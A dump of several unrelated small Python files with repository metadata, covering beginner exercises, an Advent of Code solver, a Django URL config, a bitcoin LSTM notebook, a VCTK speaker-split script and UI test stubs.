"""
for i in range(n):
b.append(a[i])
b.reverse()
"""
for i in range(n):
print(b[i],end=" ") | [
"kanekyohunter.0314@softbank.ne.jp"
] | kanekyohunter.0314@softbank.ne.jp |
0c73ba48c455f79c52db4d2071d2008d2789c5d5 | 7a4ddcc2ab876883c0288fbcd204a06780436376 | /program8.py | 95981861bacb0afaf14177467b6e8403f68b9041 | [] | no_license | aaratee-123/function | 4d8be50b5ed60486b63b3f9038492a92ef3fad5e | c45f9e62a93b9d4021cf1adccfbd2c9a4fda59ce | refs/heads/main | 2023-04-25T21:01:32.283208 | 2021-05-27T14:38:12 | 2021-05-27T14:38:12 | 371,404,049 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 85 | py | def say_hello(name):
print("hello")
print("aap kaise ho?")
say_hello("aarti") | [
"noreply@github.com"
] | aaratee-123.noreply@github.com |
5bb905e6ef0d4750bdb6066e9e627149460bcd3d | d1c52da18a0d19bb116823d24ec4f4e320748f75 | /Week3/Homework/Make_slices.py | bd3ef7cd30d1ea34e8189918be89467b4061f22c | [] | no_license | IhorMok/Coursera | ba6b31dbcb2a8281a9acbb108d4edec0a0bd54af | d1f1a6a09d236696974a218004a888f6c14429a1 | refs/heads/master | 2022-11-15T20:26:23.267324 | 2020-07-11T19:39:35 | 2020-07-11T19:39:35 | 277,326,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 141 | py | n = input()
print(n[2])
print(n[-2])
print(n[0:5])
print(n[0:-2])
print(n[::2])
print(n[1::2])
print(n[::-1])
print(n[-1::-2])
print(len(n))
| [
"igor4ik08@gmail.com"
] | igor4ik08@gmail.com |
d591e64c9382e8d037340dbb3e97f80b887a96ea | 5b57e71b29049292a2afc193177ce479ef4efe3b | /2017/Day_25__Turing_Machine.py | 6060a7db61ee1a6e5e9ff96d90500d58a7b62c93 | [] | no_license | lallers/Advent-Of-Code | 27cf408ff01e85a57949f514a7e6b81e26027e20 | c52688f64d59ac0d98bad7f8ba3df720116484bd | refs/heads/master | 2020-04-07T14:58:19.487601 | 2018-12-20T22:20:50 | 2018-12-20T22:20:50 | 158,468,266 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,659 | py | import time
import sys
from collections import deque
'''
def state_change_a(x, curs_pos, max_iters, cur_iter=0):
if(cur_iter < max_iters):
current_pos = x[curs_pos]
if(current_pos == 0):
x[curs_pos] = 1
curs_pos += 1
cur_iter += 1
output(x, cur_iter, 'B')
state_change_b(x, curs_pos, max_iters, cur_iter)
else:
x[curs_pos] = 0
curs_pos += -1
cur_iter += 1
output(x, cur_iter, 'B')
state_change_b(x, curs_pos, max_iters, cur_iter)
else:
output(x=x, finished="yes")
return [x, curs_pos, cur_iter]
def state_change_b(x, curs_pos, max_iters, cur_iter=0):
if(cur_iter < max_iters):
current_pos = x[curs_pos]
if(current_pos == 0):
x[curs_pos] = 1
curs_pos += -1
cur_iter += 1
output(x, cur_iter, 'A')
state_change_a(x, curs_pos, max_iters, cur_iter)
else:
x[curs_pos] = 0
curs_pos += 1
cur_iter += 1
output(x, cur_iter, 'A')
state_change_a(x, curs_pos, max_iters, cur_iter)
else:
output(x=x, finished="yes")
return [x, curs_pos, cur_iter]
'''
def state_change(x=[0, 0, 0, 0, 0, 0], curs_pos=3, max_iters=1, cur_state="A", cur_iter=0):
x = deque(x)
print("Starting Checksum...")
while(cur_iter < max_iters):
#print("Iteration ... %s of %s" % (cur_iter, max_iters), end="\r" )
#sys.stdout.flush()
# Length calculation once
len_X = len(x)
#print("Cursor: " + str(curs_pos) + " XLen: " + str(len_X) )
# Make x and "infinite" list
if curs_pos == len_X:
#print("Cursor: " + str(curs_pos)+ " X: " + str(len_X) +"\r" )
x.append(0)
elif abs(curs_pos) > len_X:
#print("Cursor: " + str(curs_pos)+ " X: " + str(len_X) +"\r" )
x.appendleft(0)
# Getting state specific values and modifications
state_vals = states(cur_state, x[curs_pos])
# Change values based on state
cur_state = state_vals[0]
x[curs_pos] = state_vals[1]
curs_pos += state_vals[2]
cur_iter += 1
print("Length of x: " +str(len(x)) +"\nChecksum Value: " + str(sum(x)))
def states(state = "A", val = 0):
# Define 'out' as [Next state, Write Value, Move Value]
if state == "A":
if val == 0:
out = ["B", 1, 1]
else:
out = ["C", 0, -1]
elif state == "B":
if val == 0:
out = ["A", 1, -1]
else:
out = ["D", 1, 1]
elif state == "C":
if val == 0:
out = ["A", 1, 1]
else:
out = ["E", 0, -1]
elif state == "D":
if val == 0:
out = ["A", 1, 1]
else:
out = ["B", 0, 1]
elif state == "E":
if val == 0:
out = ["F", 1, -1]
else:
out = ["C", 1, -1]
elif state == "F":
if val == 0:
out = ["D", 1, 1]
else:
out = ["A", 1, 1]
else:
print("... Error in state checking ...")
out = ["A",0,0]
return out
def output(x=[], iter=0, state="", finished=None):
if(finished != None):
print('Diagnotic Checksum:\t' + str(sum(x)))
return
print('... '+'\t'.join(str(v) for v in x)+' ... (after ' +
str(iter)+' step; about to run state '+state+')')
x = [0] * 10000
max_iters = 12919244
start_pos = int(len(x)//2) + 1
state_change(x, start_pos, max_iters)
| [
"lallers@users.noreply.github.com"
] | lallers@users.noreply.github.com |
da25e1eb6425637c3bed8c54cfa195f9a8173a51 | 9129a867d4b7d652a4217a71be8ead5df4c808c5 | /core/exceptions.py | cf2dc27c52b0c8ca470b7ae8a953b8f39f90473d | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Mi44Or30/Back2TheFuture | bc9c4a715ca76f66cd65f47847fba67ddffb3136 | 39b5eaf289e694aa9cae1bd26fd1f35b0d4dd0c3 | refs/heads/main | 2023-07-02T23:33:05.587833 | 2021-08-09T05:15:07 | 2021-08-09T05:15:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 98 | py |
class IntegrationTimeout(ValueError):
pass
class FailedToDecompile(RuntimeError):
pass | [
"eran.segal@safebreach.com"
] | eran.segal@safebreach.com |
915f03bd38cdd5dd33a4965d4df9d3d0d36b8df7 | 8c18424991d70880d86d931319f4c221fbf29be3 | /Assignment_8.py | e56c8b88af60c69825198abe2965de369d9c9f31 | [] | no_license | ramasawmy/assignment | 794b6ed40f42d2b6a892bbfbe7a8c2d2e31c4fcc | a6590f0bee252f929eb34aa806c3d6d4483993bd | refs/heads/master | 2021-01-02T10:54:45.516990 | 2020-02-10T18:57:53 | 2020-02-10T18:57:53 | 239,588,531 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 756 | py | player_1 = input(" what do you want to chose rock, paper or scissors?")
player_2 = input(" what do you want to choose rock, paper or scissors?",)
def compare(p1, p2):
if p1 == p2:
return("it's the same")
elif p1 == 'rock':
if p2 == 'scissors':
return("rock beats scissors!")
else:
return("try again!")
elif p1 == 'scissors':
if p2 == 'paper':
return("scissors beats paper!")
else:
return("try again!")
elif p1 == 'paper':
if p2 == 'rock':
return("paper beats rock!")
else:
return("try again!")
else:
return("Invalid ,try again.")
print(compare(player_1, player_2)) | [
"noreply@github.com"
] | ramasawmy.noreply@github.com |
c029f225d3ee8e3d452ea26c60b5a987474fb180 | 4148260054c2cf4605dacb8bdef3605c82eca470 | /temboo/Library/GoodGuide/Query.py | 1c3f0e806f69b445334a0d40c9568da20da997c5 | [] | no_license | wimsy/actuarize-web | 0f23d5f00afe3d36d430621cdb497d2e64998416 | 5f43af3019da6fb08cafeec9ff0a89df5196b864 | refs/heads/master | 2021-03-12T19:38:21.887681 | 2012-12-19T01:13:50 | 2012-12-19T01:13:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,827 | py | # -*- coding: utf-8 -*-
###############################################################################
#
# Query
# Queries the GoodGuide API by keyword and retrieves information on GoodGuide products.
#
# Python version 2.6
#
###############################################################################
from temboo.core.choreography import Choreography
from temboo.core.choreography import InputSet
from temboo.core.choreography import ResultSet
from temboo.core.choreography import ChoreographyExecution
class Query(Choreography):
"""
Create a new instance of the Query Choreography. A TembooSession object, containing a valid
set of Temboo credentials, must be supplied.
"""
def __init__(self, temboo_session):
Choreography.__init__(self, temboo_session, '/Library/GoodGuide/Query')
def new_input_set(self):
return QueryInputSet()
def _make_result_set(self, result, path):
return QueryResultSet(result, path)
def _make_execution(self, session, exec_id, path):
return QueryChoreographyExecution(session, exec_id, path)
"""
An InputSet with methods appropriate for specifying the inputs to the Query
choreography. The InputSet object is used to specify input parameters when executing this choreo.
"""
class QueryInputSet(InputSet):
"""
Set the value of the APIFormat input for this choreography. ((optional, string) The response type supplied by GoodGuides. Default is reference. Other acceptable inputs are simple and badge.)
"""
def set_APIFormat(self, value):
InputSet._set_input(self, 'APIFormat', value)
"""
Set the value of the APIKey input for this choreography. ((required, string) The API Key provided by GoodGuide.)
"""
def set_APIKey(self, value):
InputSet._set_input(self, 'APIKey', value)
"""
Set the value of the Count input for this choreography. ((optional, integer) The number of entries to return. Default is 20. Up to 50 entries can be returned at once.)
"""
def set_Count(self, value):
InputSet._set_input(self, 'Count', value)
"""
Set the value of the Query input for this choreography. ((required, string) A text string used in the keyword search. By default, queries return product data only. Use the EntityType input to query other types of entities.)
"""
def set_Query(self, value):
InputSet._set_input(self, 'Query', value)
"""
Set the value of the SortBy input for this choreography. ((optional, string) Acceptable values: best_match (for keyword searches, this is the default); rating (the overall GoodGuide rating); and name (sorted alphabetically).)
"""
def set_SortBy(self, value):
InputSet._set_input(self, 'SortBy', value)
"""
Set the value of the SortOrder input for this choreography. ((optional, string) Acceptable values: 'desc' to sort descending (default for sort_by=rating and sort_by is best_match); 'asc' to sort ascending (default for sort_by is name).)
"""
def set_SortOrder(self, value):
InputSet._set_input(self, 'SortOrder', value)
"""
A ResultSet with methods tailored to the values returned by the Query choreography.
The ResultSet object is used to retrieve the results of a choreography execution.
"""
class QueryResultSet(ResultSet):
"""
Retrieve the value for the "Response" output from this choreography execution. ((xml) The response from GoodGuide.)
"""
def get_Response(self):
return self._output.get('Response', None)
class QueryChoreographyExecution(ChoreographyExecution):
def _make_result_set(self, response, path):
return QueryResultSet(response, path)
| [
"mike.wimsatt@gmail.com"
] | mike.wimsatt@gmail.com |
a53ea2884c22164635955fe0229aabd99b4908c8 | 8d0db13e724430e11ad3a9e2b547b3aa54269bdf | /CryptoCurrencyResearch/modelingResearch/bitcoin_prediction.py | b8d2cbfb1f586ac9335695285d3798edc714d147 | [] | no_license | Yu-Hsuan-Liu/MachineLearningResearch | 11f52078499ac3034921d70fc5844522a38e36ff | 663db0dc221a09111433558d612f7c10c183a0a4 | refs/heads/master | 2023-03-16T01:33:20.984249 | 2018-09-03T05:28:05 | 2018-09-03T05:28:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,431 | py |
# coding: utf-8
# In[6]:
import pandas
data=pandas.read_csv("bitcoin.csv")
# In[7]:
data.head()
# In[8]:
data.shape
# In[9]:
data=data[data.Date>'2015-01-01']
# In[10]:
data.shape
# In[19]:
data.head()
# In[20]:
data2=data.copy()
# In[59]:
bitcoin=data[['Date','Close**','Volume']]
bitcoin.head()
bitcoin=bitcoin.sort_index(ascending=False)
# In[60]:
bitcoin.head()
# In[61]:
bitcoin.shape
bitcoin.columns=['Date','close','volume']
bitcoin.head()
lag2=bitcoin.close.shift(2)
lag1=bitcoin.close.shift(1)
#bitc=pandas.merge(bitcoin,lag,how='right')
bitcoin.shape
# In[62]:
bitcoin['lag1']=lag1
bitcoin['lag2']=lag2
# In[63]:
bitcoin.head()
# In[64]:
bitcoin['vlag']=bitcoin.volume.shift(1)
# In[65]:
bitcoin.head()
# In[66]:
bitcoin.drop(['volume'],axis=1,inplace=True)
# In[67]:
bitcoin.head()
# In[ ]:
# In[68]:
train,test=bitcoin[bitcoin.Date<='2017-09-01'],bitcoin[bitcoin.Date>'2017-09-01']
# In[69]:
train.shape
# In[70]:
test.shape
# In[74]:
train.drop([1240,1239],axis=0,inplace=True)
# In[75]:
train.head()
# In[72]:
test.head()
# In[77]:
train.drop(['Date'],axis=1,inplace=True)
test.drop(['Date'],axis=1,inplace=True)
train.reset_index(inplace=True)
test.reset_index(inplace=True)
# In[79]:
test.head()
# In[81]:
from sklearn.preprocessing import MinMaxScaler
sc=MinMaxScaler()
sc.fit(train)
train=sc.transform(train)
test=sc.transform(test)
xtr,ytr=train[:,2:],train[:,1]
xts,yts=test[:,2:],test[:,1]
# In[83]:
train[:5,:]
# In[85]:
from keras import layers,models
# In[87]:
xtr.shape
# In[88]:
xts.shape
# In[90]:
#[sample,timestep,features]
xtr=xtr.reshape(xtr.shape[0],1,xtr.shape[1])
xts=xts.reshape(xts.shape[0],1,xts.shape[1])
# # LST Model
# In[97]:
model=models.Sequential()
# In[98]:
model.add(layers.LSTM(10,input_shape=(1,3)))
# In[93]:
model.add(layers.Dense(10,activation='relu'))
model.add(layers.Dropout(5))
# In[99]:
model.add(layers.Dense(1))
# In[100]:
from sklearn.metrics import mean_squared_error,r2_score
model.compile(loss='mean_squared_error',optimizer='adam',metrics=['accuracy'])
# In[102]:
model.fit(xtr,ytr,epochs=10,batch_size=1,verbose=True,validation_data=(xts,yts))
# In[ ]:
ip=numpy.array([1,7480,7587,7557,6049220000]).reshape(1,5)
ip=sc.transform(ip)
ip=ip[:,2:]
ip=ip.reshape(1,1,3)
out=model.predict(ip)
op=numpy.array([0,out,0,0,0]).reshape(1,5)
sc.inverse_transform(op) | [
"davidplopez@live.com"
] | davidplopez@live.com |
a5b800ebebe5c5c8255a6268759eeba78c4f53da | f9af3b40eb384edf0eb4f58069f251dc33760c53 | /project/urls.py | 04e74821925274da698c2e3fef6d764c11d54228 | [] | no_license | null223/Django-wishlist | 53dd1d2608a275ac09940710bcf6c1b56a2d3352 | bb3c7ca58abcc8caf246807d9044bbe734c1f573 | refs/heads/master | 2020-07-09T15:46:21.459089 | 2019-08-23T14:26:44 | 2019-08-23T14:26:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 795 | py | """project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('wants.urls')),
]
| [
"sumidamao@gmail.com"
] | sumidamao@gmail.com |
6adc99ab1d980c0cbc34b11f91fc32a688f1ad47 | fbfb4c50e4947c9e92073225b597a0379378a57c | /main.py | b8d48bd20721a9e20b7043d789803d7b5527dc81 | [] | no_license | kurreman/Hiking-Computer | c9ec8d969c9fff1314420698496643a74caba57c | 98d54f2e454062461c592a0c404796ddda2529ab | refs/heads/master | 2023-06-28T07:07:44.857358 | 2021-07-29T16:42:55 | 2021-07-29T16:42:55 | 390,788,023 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 141 | py | from SIGFOX import setup_sigfox
from data_gathering import gather_data
#SIGFOX SETUP
s = setup_sigfox()
#Data gathering
gather_data(s) | [
"kurreman@Korays-MacBook-Air.local"
] | kurreman@Korays-MacBook-Air.local |
5736bcc4519d25c09e726db696241081fe0f6bbe | f048b5a783d793c5dd1889a2eb00d72cf9ae4761 | /Console/Study/Review.py | b28d624f00ee276aa6e2b7e7305a6a882494c8bc | [] | no_license | ashkan-jafarzadeh/504-essential-words | e1bfcabf82c4c1c66d551ca7df947eb8d24fada0 | d3db99f5095a5df7aeb59c73e295594062850845 | refs/heads/main | 2023-08-24T12:50:55.267367 | 2021-09-30T19:14:02 | 2021-09-30T19:14:02 | 412,193,804 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,014 | py | from Helpers.Table import Table
from Helpers.UserInput import UserInput
from Models.Word import Word
class Review:
def __init__(self):
self.word = Word()
self.user_input = UserInput()
pass
# show a word and make a choice
def show_lesson(self, lesson):
words = self.word.where("lesson", lesson).select(['title', 'trans']).get()
Table.set_rows(words.pluck('title')).header(["lesson: " + str(lesson)]).show()
choice = self.user_input.choice("We are good?", ['Definition', "Yes go to next"])
if choice == "Definition":
Table.set_columns(words.pluck('title')).set_columns(words.pluck('trans')).header(
['Title', 'Translation']).show()
self.user_input.show("next?")
self.show_lesson(int(lesson) + 1)
else:
self.show_lesson(int(lesson) + 1)
# start learning
def start(self):
lesson = self.user_input.ask("Witch Lesson? (1-42)")
self.show_lesson(lesson)
| [
"ashkan.jafarzade@yahoo.com"
] | ashkan.jafarzade@yahoo.com |
8e4d6ca39464089751c5d80b4499972aafef6682 | a821971a971a4a86f5f35d02855789c31f88b683 | /pet/urls.py | 40564d9379fbaca8b53929f94127d079674f6c12 | [
"MIT"
] | permissive | tailongnguyen/petsite | 803303d30dce211a999ea74638ff8ab07b4ba83b | 6192e6fe598397a94880b4e56b197f5b2f518abb | refs/heads/master | 2021-09-12T21:07:25.476789 | 2018-04-20T19:37:38 | 2018-04-20T19:37:38 | 108,254,663 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,378 | py | from django.conf.urls import url, include
from django.views.generic import TemplateView
from . import views
app_name = 'pet'
urlpatterns = [
url(r'^$', TemplateView.as_view(template_name='index.html'), name='index'),
url(r'^pets/$', views.pet_list, name='pet list'),
url(r'^pets/findpet/$',views.find_pet,name='find pet'),
url(r'^pet/detail/(?P<pet_code>.*)/$', views.pet_detail, name='pet detail'),
url(r'^pet/detail_like/(?P<pet_code>.*)/(?P<im_id>[0-9]+)/$',
views.LikeImage.as_view(), name='like image'),
url(r'^pet/api/detail_like/(?P<pet_code>.*)/(?P<im_id>[0-9]+)/$',
views.LikeImageAPI.as_view(), name='like image api'),
url(r'^pet/(?P<pet_id>[0-9]+)/followed/$', views.Pet_follow.as_view(), name='pet follow'),
url(r'^pet/(?P<pet_id>[0-9]+)/unfollowed/$', views.Pet_unfollow.as_view(), name='pet unfollow'),
url(r'^purchases/mypurchases/(?P<pet_type>.*)/(?P<filter_type>.*)/$',views.my_purchases, name='my purchases'),
url(r'^purchases/detail/(?P<purchase_id>.*)/$', views.purchase_detail, name='purchase detail'),
url(r'^purchases/(?P<purchase_id>[0-9]+)/followed/$', views.purchase_follow, name='purchase follow'),
url(r'^purchases/(?P<purchase_id>[0-9]+)/unfollowed/$', views.purchase_unfollow, name='purchase unfollow'),
url(r'^purchases/add/$', views.add_purchase, name='add purchase'),
url(r'^purchases/(?P<pet_type>.*)/(?P<filter_type>.*)/$',
views.purchases, name='pet purchases'),
url(r'^custom_purchases/(?P<pet_code>.*)/(?P<filter_type>.*)/$',
views.pet_custom_purchases, name='pet custom purchases'),
url(r'^other_users_purchases/(?P<user_id>[0-9]+)/(?P<pet_type>.*)/(?P<filter_type>.*)/$',
views.other_users_purchases, name='user purchases'),
url(r'^profile/edit/(?P<purchase_id>[0-9]+)/$',
views.edit_purchase, name='edit purchase'),
url(r'^profile/(?P<user_id>[0-9]+)/$', views.user_profile, name='user profile'),
url(r'^profile/$', views.my_profile, name='current user profile'),
url(r'^profile/edit/$', views.edit_profile, name='edit profile'),
url(r'^profile/(?P<user_id>[0-9]+)/followed/$', views.user_follow, name='user follow'),
url(r'^profile/(?P<user_id>[0-9]+)/unfollowed/$', views.user_unfollow, name='user unfollow'),
url(r'^users/(?P<filter_type>.*)/$',
views.user_list, name='top users'),
]
| [
"tailongyoshi@gmail.com"
] | tailongyoshi@gmail.com |
1cfd5b7c8b18233cf88100c457f2aaaf81194846 | 4882d6605aac21c4daa4abe5f82896897d04b5c3 | /python3/ClimbingStairs/70.py | a8c313140de65e2f75c98a397521a1a102f5a6bf | [] | no_license | jaejin1/Leetcode | 28b88f59f03c75aa8d332482a6c165476e4bfa81 | 428635d30b5a8139451a5b0bc219f8adaaae8126 | refs/heads/master | 2021-08-28T00:24:02.455640 | 2021-08-21T02:05:22 | 2021-08-21T02:05:22 | 201,756,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 254 | py | class Solution(object):
def climbStairs(self, n):
if n == 1:
return 1
tmp, result = 1, 2
for i in range(2, n):
tmp2 = result
result = tmp+result
tmp = tmp2
return result
| [
"opiximeo@gmail.com"
] | opiximeo@gmail.com |
87906875f8e9d436e8ee58f7b93cc6778d2a103b | e13e9e73055016a8edb78abfc8cd43fb8dfad56b | /select_speakers.py | 0a6f1d5141deceaeb55b4a5e8900aec81377a677 | [
"MIT"
] | permissive | silvadirceu/segan_pytorch | 3fe582549d27237c3f05f18b6d34311f67254737 | 2215e711f7223b144e0c4d4fb4ed1d4842b18c5f | refs/heads/master | 2022-06-18T03:56:48.296034 | 2020-05-05T19:24:48 | 2020-05-05T19:24:48 | 256,764,361 | 0 | 0 | MIT | 2020-04-18T13:46:11 | 2020-04-18T13:46:11 | null | UTF-8 | Python | false | false | 6,849 | py | import os
from random import shuffle
import numpy as np
import operator
import glob
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import re
import json
def txt_clean_file(txtfile):
with open(txtf, 'r') as txt_f:
txt = txt_f.read().rstrip().lower()
txt = re.sub(r'[^\w\s]','',txt)
txt = re.sub(r'\s+',' ',txt)
return txt
VCTK_PATH='/veu/spascual/git/speakagan/data/vctk/raw/VCTK-Corpus/'
# Select test speakers maximizing textual contents, taking
# 14 speakers with minium intersection of contents with
# others in the 109 available in VCTKA.
spks = [l.rstrip().split(' ') for l in open(os.path.join(VCTK_PATH,
'speaker-info.txt'))]
spks = spks[1:]
spk2gen = dict(('p' + el[0], el[4]) for el in spks)
# add lost speaker
spk2gen['p280'] = 'F'
assert len(spk2gen) == 109, len(spk2gen)
txtfs = glob.glob(os.path.join(VCTK_PATH, 'txt', '**', '*.txt'), recursive=True)
print(len(txtfs))
if not os.path.exists('txt2spk') or not os.path.exists('spk2txt'):
spk2txt = {}
txt2spk = {}
for ii, txtf in enumerate(txtfs, start=1):
spk = txtf.split('/')[-2]
txtname = txtf.split('/')[-1]
txt = txt_clean_file(txtf)
if spk not in spk2txt:
spk2txt[spk] = []
spk2txt[spk].append(txt)
if txt not in txt2spk:
txt2spk[txt] = []
txt2spk[txt].append(spk)
print('Processed {}/{}'.format(ii, len(txtfs)))
with open('txt2spk', 'w') as txt2spk_f:
txt2spk_f.write(json.dumps(txt2spk))
with open('spk2txt', 'w') as spk2txt_f:
spk2txt_f.write(json.dumps(spk2txt))
else:
with open('txt2spk', 'r') as txt2spk_f:
txt2spk = json.load(txt2spk_f)
with open('spk2txt', 'r') as spk2txt_f:
spk2txt = json.load(spk2txt_f)
txt2count = dict((k, len(v)) for k, v in txt2spk.items())
print(len(txt2count))
#print(txt2count)
plt.hist(list(txt2count.values()), bins=50)
plt.xlabel('# spks per txt')
plt.savefig('txt2count_hist.png', dpi=200)
spk2count = dict((k, len(v)) for k, v in spk2txt.items())
print(spk2count)
print(len(spk2count))
print('**********')
if not os.path.exists('spk2maxcount'):
# matrix of spkxspk with interection counts of txts
spkmat = {}
# store repetition counts for each spk
spk2maxcount = dict((k, 0) for k in list(spk2txt.keys()))
spk2mincount = dict((k, np.inf) for k in list(spk2txt.keys()))
spk2count = dict((k, 0) for k in list(spk2txt.keys()))
for ii, txtf in enumerate(txtfs, start=1):
spk = txtf.split('/')[-2]
txt = txt_clean_file(txtf)
spk2maxcount[spk] = max(spk2maxcount[spk], len(txt2spk[txt]))
spk2mincount[spk] = min(spk2mincount[spk], len(txt2spk[txt]))
spk2count[spk] += len(txt2spk[txt])
if spk not in spkmat:
spkmat[spk] = {}
for intspk in txt2spk[txt]:
if intspk not in spkmat[spk]:
spkmat[spk][intspk] = 0
spkmat[spk][intspk] += 1
print('Processed {}/{}'.format(ii, len(txtfs)))
with open('spk2maxcount', 'w') as spk2maxcount_f:
spk2maxcount_f.write(json.dumps(spk2maxcount))
with open('spk2mincount', 'w') as spk2mincount_f:
spk2mincount_f.write(json.dumps(spk2mincount))
with open('spkmat', 'w') as spkmat_f:
spkmat_f.write(json.dumps(spkmat))
with open('spk2count', 'w') as spk2count_f:
spk2count_f.write(json.dumps(spk2count))
else:
with open('spk2count', 'r') as spk2count_f:
spk2count = json.load(spk2count_f)
with open('spk2maxcount', 'r') as spk2maxcount_f:
spk2maxcount = json.load(spk2maxcount_f)
with open('spk2mincount', 'r') as spk2mincount_f:
spk2mincount = json.load(spk2mincount_f)
with open('spkmat', 'r') as spkmat_f:
spkmat = json.load(spkmat_f)
print(sorted(spk2maxcount.items(), key=operator.itemgetter(1)))
print('---------------')
print(sorted(spk2mincount.items(), key=operator.itemgetter(1)))
print('ooooooooooooooo')
sorted_counts = sorted(spk2count.items(), key=operator.itemgetter(1))
print(sorted_counts)
with open('spkmat.txt', 'w') as mattxt_f:
spks_h = list(spkmat.keys())
header = ''
for spk_h in spks_h:
header += spk_h + ' '
header = ' ' + header[:-1] + '\n'
mattxt_f.write(header)
# print header
for si, spk in enumerate(spks_h):
mattxt_f.write(spk + ' ')
row = spkmat[spk]
row_txt = ''
for row_spk in spks_h:
row_txt += '{:4d} '.format(spkmat[spk][row_spk])
row_txt = row_txt[:-1] + '\n'
mattxt_f.write(row_txt)
TEST_FILES = 14
VALID_FILES = 15
test_spks = []
valid_spks = []
train_spks = []
nontest_counts = []
# Now with minimum counts create test set, ensuring 50% 50% in male female
f = 0
m = 0
for spk in sorted_counts:
if f + m < TEST_FILES:
gen = spk2gen[spk[0]]
if gen == 'F':
if f <= TEST_FILES // 2:
print('Adding F spk: ', spk)
f += 1
else:
print('Skipping F spk: ', spk)
continue
if gen == 'M':
if m <= TEST_FILES // 2:
print('Adding M spk: ', spk)
m += 1
else:
print('Skipping M spk: ', spk)
continue
print('f: {}, m: {}'.format(f, m))
test_spks.append(spk[0])
else:
nontest_counts.append(spk)
#re-shuffle counts now to mix valid-train
shuffle(nontest_counts)
print('DOING VALID -------------------------')
# Valid spks 50% 50%
f = 0
m = 0
for spk in nontest_counts:
gen = spk2gen[spk[0]]
if spk[0] in test_spks:
continue
if gen == 'F':
if f <= VALID_FILES // 2:
print('Adding F spk: ', spk)
f += 1
else:
print('Skipping F spk: ', spk)
continue
if gen == 'M':
if m <= VALID_FILES // 2:
print('Adding M spk: ', spk)
m += 1
else:
print('Skipping M spk: ', spk)
continue
print('f: {}, m: {}'.format(f, m))
valid_spks.append(spk[0])
if f + m >= VALID_FILES:
print('Out of valid')
break
for spk in spk2gen.keys():
if spk in (test_spks + valid_spks):
continue
train_spks.append(spk)
print('train spks: ', len(train_spks))
print('valid spks: ', len(valid_spks))
print('test spks: ', len(test_spks))
with open('train_split.txt', 'w') as train_f:
for tr_spk in train_spks:
train_f.write(tr_spk[1:] + '\n')
with open('valid_split.txt', 'w') as valid_f:
for va_spk in valid_spks:
valid_f.write(va_spk[1:] + '\n')
with open('test_split.txt', 'w') as test_f:
for te_spk in test_spks:
test_f.write(te_spk[1:] + '\n')
| [
"santi.pdp@gmail.com"
] | santi.pdp@gmail.com |
c8c15d070b9aa147969f937c49efbdbcbcd2d521 | c95c4f8c1a487d34aaf94b236802f413b4458967 | /countinversions.py | b42f58a930514aa4f2b8fad08d668c0271083943 | [] | no_license | imtoobose/Competitive-and-Algorithms | 7bead7ff02d11bbed7f6b40271cf0e115a0056bd | 9e651350b4385c7a9c3e9f5ccadce3b21e562248 | refs/heads/master | 2020-05-21T20:18:08.486171 | 2017-04-27T14:31:08 | 2017-04-27T14:31:08 | 64,566,262 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 662 | py | from sys import stdin, stdout
inversions=0
def mergesort(arr):
if len(arr)==0 or len(arr)==1:
return arr
a= mergesort(arr[0: len(arr)//2])
b= mergesort(arr[len(arr)//2: len(arr)])
return merge(a,b)
def merge(a, b):
c= []
global inversions
while len (a)>0 and len(b)>0:
if(a[0]<b[0]):
c.append(a[0])
a.pop(0)
else:
c.append(b[0])
b.pop(0)
inversions+= len(a)
while(len(a)>0):
c.append(a[0])
a.pop(0)
while(len(b)>0):
c.append(b[0])
b.pop(0)
return c
arr = []
with open ('intarray.txt', 'r') as f:
for line in f:
arr.append(int(line))
v= mergesort(arr)
print(inversions)
| [
"noreply@github.com"
] | imtoobose.noreply@github.com |
c5dd5102d2f460778d84ea5fcbb6d0f73955ca60 | c28cd6c44212f6268b152232e13e724fea159b38 | /test/test_analytical_forms/test_1_24.py | a505ee42ee03d370acf1297dcfbae74cdd00ba8b | [] | no_license | Doc-fee/work | 64e0efcce5e32a399a85522a6bdc325b34a39f06 | d714db3f9a4d24ff85546be10bc0c7a1182c0656 | refs/heads/master | 2023-06-30T16:56:51.016674 | 2021-08-06T11:35:35 | 2021-08-06T11:35:35 | 270,714,547 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,367 | py | # -*- coding: utf-8 -*-
def test_detail_total(app):
app.open_home_page()
app.click_starting_overlay()
app.forms.select_analytical_forms()
app.forms.select_1_24()
app.filter.open_filter()
app.filter.filter_for_the_current_year()
app.filter.click_filter_ok()
app.details.detail_total()
def test_detail_all(app):
app.open_home_page()
app.click_starting_overlay()
app.forms.select_analytical_forms()
app.forms.select_1_24()
app.filter.open_filter()
app.filter.filter_for_the_current_year()
app.filter.click_filter_ok()
app.details.detail_all()
def test_filter_counter(app):
app.open_home_page()
app.click_starting_overlay()
app.forms.select_analytical_forms()
app.forms.select_1_24()
app.counter.counter_coulm3_last_row(app)
def test_sum_str(app):
app.open_home_page()
app.click_starting_overlay()
app.forms.select_analytical_forms()
app.forms.select_1_24()
app.filter.open_filter()
app.filter.filter_for_1st_quarter()
app.filter.click_filter_ok()
app.sum_table.sum_rows(app)
def test_percent(app):
app.open_home_page()
app.click_starting_overlay()
